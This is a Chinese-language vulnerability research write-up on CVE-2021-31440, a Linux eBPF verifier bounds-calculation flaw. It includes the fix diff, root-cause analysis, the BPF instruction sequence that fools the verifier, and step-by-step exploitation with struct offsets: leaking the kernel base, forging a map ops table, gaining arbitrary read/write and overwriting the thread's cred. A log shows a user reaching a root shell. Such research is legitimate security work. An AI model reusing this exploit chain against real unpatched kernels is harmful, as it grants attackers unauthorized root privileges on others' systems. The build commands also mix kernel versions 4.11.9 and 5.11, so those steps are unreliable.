影響版本：Linux 5.7 ~ 5.11.20 8.8分。 v5.11.21已修補，v5.11.20未修補。
測試版本：Linux-5.11 exploit及測試環(huán)境下載地址—https://github.com/bsauce/kernel_exploit_factory
編譯選項：CONFIG_BPF_SYSCALL，config所有帶BPF字樣的。
General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB
在編譯時將.config中的CONFIG_E1000和CONFIG_E1000E，變更為=y。參考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.11.9.tar.xz
$ tar -xvf linux-5.11.tar.xz
# KASAN: 設置 make menuconfig 設置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 編譯出的bzImage目錄：/arch/x86/boot/bzImage。
漏洞描述：eBPF模塊—kernel/bpf/verifier.c的__reg_combine_64_into_32() 函數(shù)，寄存器計算錯誤。
補丁：patch
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 637462e9b6ee9..9145f88b2a0a5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -1398,9 +1398,7 @@ static bool __reg64_bound_s32(s64 a)
static bool __reg64_bound_u32(u64 a)
{
- if (a > U32_MIN && a < U32_MAX)
- return true;
- return false;
+ return a > U32_MIN && a < U32_MAX;
}
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
@@ -1411,10 +1409,10 @@ static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
- if (__reg64_bound_u32(reg->umin_value))
+ if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {
reg->u32_min_value = (u32)reg->umin_value;
- if (__reg64_bound_u32(reg->umax_value))
reg->u32_max_value = (u32)reg->umax_value;
+ }
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
diff --git a/tools/testing/selftests/bpf/verifier/array_access.c b/tools/testing/selftests/bpf/verifier/array_access.c
index 1b138cd2b187d..1b1c798e92489 100644
--- a/tools/testing/selftests/bpf/verifier/array_access.c
+++ b/tools/testing/selftests/bpf/verifier/array_access.c
@@ -186,7 +186,7 @@
},
.fixup_map_hash_48b = { 3 },
.errstr_unpriv = "R0 leaks addr",
- .errstr = "invalid access to map value, value_size=48 off=44 size=8",
+ .errstr = "R0 unbounded memory access",
.result_unpriv = REJECT,
.result = REJECT,
.flags = F_NEEDS_EFFICIENT_UNALIGNED_ACCESS,
保護機制：開啟KASLR/SMEP/SMAP。
利用總結：利用verifier階段與實際執(zhí)行階段的不一致性，進行越界讀寫。泄露內(nèi)核基址、偽造函數(shù)表、實現(xiàn)任意讀寫后篡改本線程的cred。
一、漏洞分析
該漏洞和CVE-2020-8835，CVE-2020-27194這兩個漏洞的原理類似，均是在32位和64位之間進行轉換操作時，錯誤計算了寄存器的約束邊界，導致可以繞過驗證器檢查實現(xiàn)越界讀寫。缺陷代碼出現(xiàn)在kernel/bpf/verifier.c的__reg_combine_64_into_32() 函數(shù)中，該函數(shù)是在commit_id：3f50f132d840中引入的，該功能實現(xiàn)了用64位寄存器上的已知范圍來推斷該寄存器低32位的范圍，但是同樣出現(xiàn)了類似的計算錯誤，該函數(shù)實現(xiàn)如下：
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
__mark_reg32_unbounded(reg);
if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) { // [1]
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
if (__reg64_bound_u32(reg->umin_value)) // [2] 只有最大值在32位的范圍內(nèi)，64位的最小值才是32位的最小值
reg->u32_min_value = (u32)reg->umin_value;
if (__reg64_bound_u32(reg->umax_value)) // [3]
reg->u32_max_value = (u32)reg->umax_value;
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
static bool __reg64_bound_s32(s64 a)
{
return a > S32_MIN && a < S32_MAX;
}
static bool __reg64_bound_u32(u64 a)
{
if (a > U32_MIN && a < U32_MAX)
return true;
return false;
}
漏洞：[1]處，如果smin_value和smax_value都在帶符號的32位整數(shù)范圍內(nèi)，則將相應的更新32位帶符號范圍大小，對于有符號的范圍來說，這種操作是正確的。在無符號范圍的相應邏輯中，對umin_value和umax_value分別在[2] 和 [3] 進行了檢查，這里檢測邏輯錯誤。例如，設置dreg->umin_value=1，dreg->umax_value=1<<32，即 0x100000000，經(jīng)過以上操作后，reg->u32_min_value=1，reg->u32_max_value=0，高位被截斷。此時reg寄存器的32位范圍已經(jīng)混亂，但是運行時reg的范圍是正常的。
本質原因：漏洞代碼認為有符號64位最小值為1時，32位最小值也為1，其實不一定，64位的最小值和32位的最小值并一定相等，兩者并沒有關系。例如64位有符號數(shù)的最小值為0x1ffffffff，而32位最小值就為-1了。可以聯(lián)想到無符號數(shù)也是這種情況，比如無符號64位最小值也不一定等于32位無符號的最小值，例如64位無符號的最小值為0x100000000，32位無符號的最小值就為0。但看了代碼，發(fā)現(xiàn)但開發(fā)者并沒有補，這漏洞本質原因是64位數(shù)的范圍不同于32位數(shù)的范圍。
補丁：之前commit b02709587ea3對于有符號邊界的情況，已經(jīng)進行了修改，也即將有符號的smin_value和smax_value判斷條件合并到一起，但沒有管無符號判斷的情況。正確的補丁是，將[2] [3]合并在一起，同時判斷 umin_value 和 umax_value，也即合并為if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {。
調(diào)用鏈：do_check_main() -> do_check_common() -> do_check() （L10140） -> check_cond_jmp_op() （L8117 / L8144） -> reg_set_min_max() （L7701） -> __reg_combine_64_into_32()
二、調(diào)試分析
參考1對應的exp是CVE-2021-31440.c；參考2對應的exp是CVE-2021-31440_2.c。都能利用成功。
首先將BPF_REG_7寄存器設置為1<<32，即0x10000000，并通過兩個連續(xù)的NEG指令使驗證器無法跟蹤寄存器的范圍，同時可以保證寄存器的值在運行時不變。可以通過如下BPF指令實現(xiàn)：
// (1) trigger vulnerability
BPF_MAP_GET(0,BPF_REG_5), // 9: (79) r5 = *(u64 *)(r0 +0) 傳進r5=0x180000000
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // 11: (bf) r8 = r0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // 12: (bf) r7 = r0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // 13: (bf) r6 = r5
BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 1, 1), // 14: (75) if r6 s>= 0x1 goto pc+1 對1進行有符號比較
BPF_EXIT_INSN(), // 15: (95) exit
BPF_LD_IMM64(BPF_REG_2, 0x8fffffff), // 16: (18) r2 = 0x8fffffff 此時認為r6的范圍為：[1,0x7fffffffffffffff]
BPF_JMP_REG(BPF_JGT, BPF_REG_6, BPF_REG_2, 1), // 18: (2d) if r6 > r2 goto pc+1 此時對r2進行無符號比較
BPF_EXIT_INSN(), // 19: (95) exit 得到r2的64位范圍為[0x90000000,0x7fffffffffffffff]，32位范圍為：[0x90000000, 0xffffffff]，這里檢查就出現(xiàn)了錯誤：64位操作數(shù)的比較，32位的范圍應該是不清楚的，但卻得到范圍[0x90000000, 0xffffffff]，只要傳進來的數(shù)32位部分不在此范圍，就可以觸發(fā)漏洞
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // 20: (bc) w6 = w6 對64位進行截斷，只看32位部分，范圍依舊是[0x90000000, 0xffffffff]
BPF_ALU32_IMM(BPF_ADD, BPF_REG_6, 0x70000000), // 21: (04) w6 += 1879048192 w6+=0x70000000,得到范圍為[0,0x6fffffff]
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 31), // 22: (77) r6 >>= 31 右移31位，取32位范圍的符號位，因為認為范圍是[0,0x6fffffff]，所以r6恒為0。而實際執(zhí)行時，傳入0x180000000時，r6=1
三、漏洞利用
漏洞利用部分可參考CVE0-2020-8835利用，利用過程相同，只需修改部分地址，進行適配。
利用過程：介紹bpf_array->value布置，value[0]—觸發(fā)漏洞的寄存器初始值；value[1]—功能選項，0泄露內(nèi)核基址、1任意讀、2泄露&value[0]、3任意寫；value[2]—寫入的值。
（1）創(chuàng)建eBPF代碼，載入內(nèi)核，通過verifier檢查；
-
（2）泄露內(nèi)核基址(op=0)：讀取
bpf_array->map->ops指針，位于&value[0]-0x110(eBPF程序中可以獲取&value[0]，再減去0x110即可)，讀出來的地址存放在value[4]，用戶層調(diào)用bpf_lookup_elem()即可獲取。gdb-peda$ p/x &(*(struct bpf_array *)0)->value $1 = 0x110 $ cat /tmp/kallsyms | grep startup_64 # 泄露出來的 bpf_array->map->ops 減去加載地址，獲得偏移 ffffffff81000000 T startup_64 -
（3）
&value[0]+0x80+0x70處偽造bpf_array->map->ops->->map_push_elem：先任意讀(op=1)泄露bpf_array->map->ops->map_get_next_key，然后在&value[0]+0x80處偽造bpf_array->map->ops函數(shù)表，將map_push_elem替換為map_get_next_key，便于之后構造任意寫；pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_push_elem $11 = 0x70 pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_get_next_key $12 = 0x20 -
（4）泄露
&value[0](op=2)：便于在value[]上偽造假的bpf_array->map->ops函數(shù)表；讀取value[0]的地址，由于bpf_array->waitlist(偏移0xc0)指向自身，所以&value[0]= &bpf_array->waitlist + 0x50，只需讀取&value[0]-0x110+0xc0的值，加上0x50即可，讀出來的地址存放在value[4]。gdb-peda$ p/x &(*(struct bpf_array *)0)->map->freeze_mutex->wait_list $4 = 0xc0 -
（5）泄露
task_struct地址(op=1)：任意地址讀，一次只能讀4字節(jié)，篡改bpf_array->map->btf(偏移0x40)，利用bpf_map_get_info_by_fd泄露map->btf+0x58地址處的4字節(jié)（將map->btf篡改為target_addr-0x58即可）；首個task_struct地址存放在init_pid_ns。pwndbg> p/x &(*(struct btf*)0)->id $13 = 0x58 pwndbg> p/x &(*(struct bpf_map_info*)0)->btf_id $14 = 0x40 $ cat /proc/kallsyms | grep init_pid_ns 0xffffffff82663ca0 $ x /20xg init_pid_ns_addr $ p *(struct task_struct*) xxxxxxxx # 確認 init_pid_ns 的偏移0x38處存放 task_struct 地址（real_cred 和 cred 地址相同），Linux-5.11版本就是0x30 -
（6）找到本線程的cred地址(op=1)：遍歷
task_struct->tasks->next鏈表，讀取指定線程的cred地址。gdb-peda$ p/x &(*(struct task_struct *)0)->pid $7 = 0x908 gdb-peda$ p/x &(*(struct task_struct *)0)->cred $8 = 0xac8 gdb-peda$ p/x &(*(struct task_struct *)0)->tasks # 下一個 task_struct 的地址 $9 = 0x808 -
（7）修改cred，任意地址寫(op=3)：篡改
bpf_array->map->ops函數(shù)表指針，指向&value[0]+0x80處偽造的bpf_map_ops函數(shù)表，將map_push_elem改為map_get_next_key，這樣調(diào)用map_push_elem時實際會調(diào)用map_get_next_key，能夠任意寫4字節(jié)（用戶層調(diào)用bpf_update_elem()）；還需要構造 map 的3個字段繞過某些檢查。# 需構造 map 的3個字段繞過某些檢查 # 1. bpf_array->map->map_type = BPF_MAP_TYPE_STACK (0x17) pwndbg> p/x &(*(struct bpf_array*)0)->map->map_type $10 = 0x18 # 2. bpf_array->map->max_entries = 0xffffffff pwndbg> p/x &(*(struct bpf_array*)0)->map->max_entries $9 = 0x24 # 3. bpf_array->map->spin_lock_off = 0 pwndbg> p/x &(*(struct bpf_array*)0)->map->spin_lock_off $8 = 0x2c
問題：Linux-5.11.20 版本總是無法泄露內(nèi)核基址。不知道是不是新版內(nèi)核加入了BPF保護措施。
exp適配：
- （1）
update_elem(0, 2);->update_elem(0, 0x180000000);也即value[0]是傳入的r6的值，用于觸發(fā)漏洞。 - （2）以上利用過程中涉及到的偏移。
測試結果：
/ $ uname -a
Linux (none) 5.11.0 #1 SMP Tue Jun 8 06:45:20 PDT 2021 x86_64 GNU/Linux
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ cd exp
/exp $ ./CVE-2021-31440
[*] sneaking evil bpf past the verifier
processed 226 insns (limit 1000000) max_states_per_insn 1 total_states 20 peak_3
[*] creating socketpair()
[*] attaching bpf backdoor to socket
leak addr: 0xffffffffbc6358a0
linux base: 0xffffffffbb600000
value addr: 0xffff8baec2eb7110
init_pid_ns addr: 0xffffffffbcc63ca0
self pid is 127
task_struct addr: 0xffff8baec12096c0
iter pid 1 ...
[+] iter task 0xffff8baec120c440 ...
iter pid 2 ...
......
[+] iter task 0xffff8baec138ad80 ...
iter pid 127 ...
got it!
get cred_addr 0xffff8baec1372480
usage: 8
getting shell!
/exp # id
uid=0(root) gid=0(root) egid=1000(chal) groups=1000(chal)
/exp #
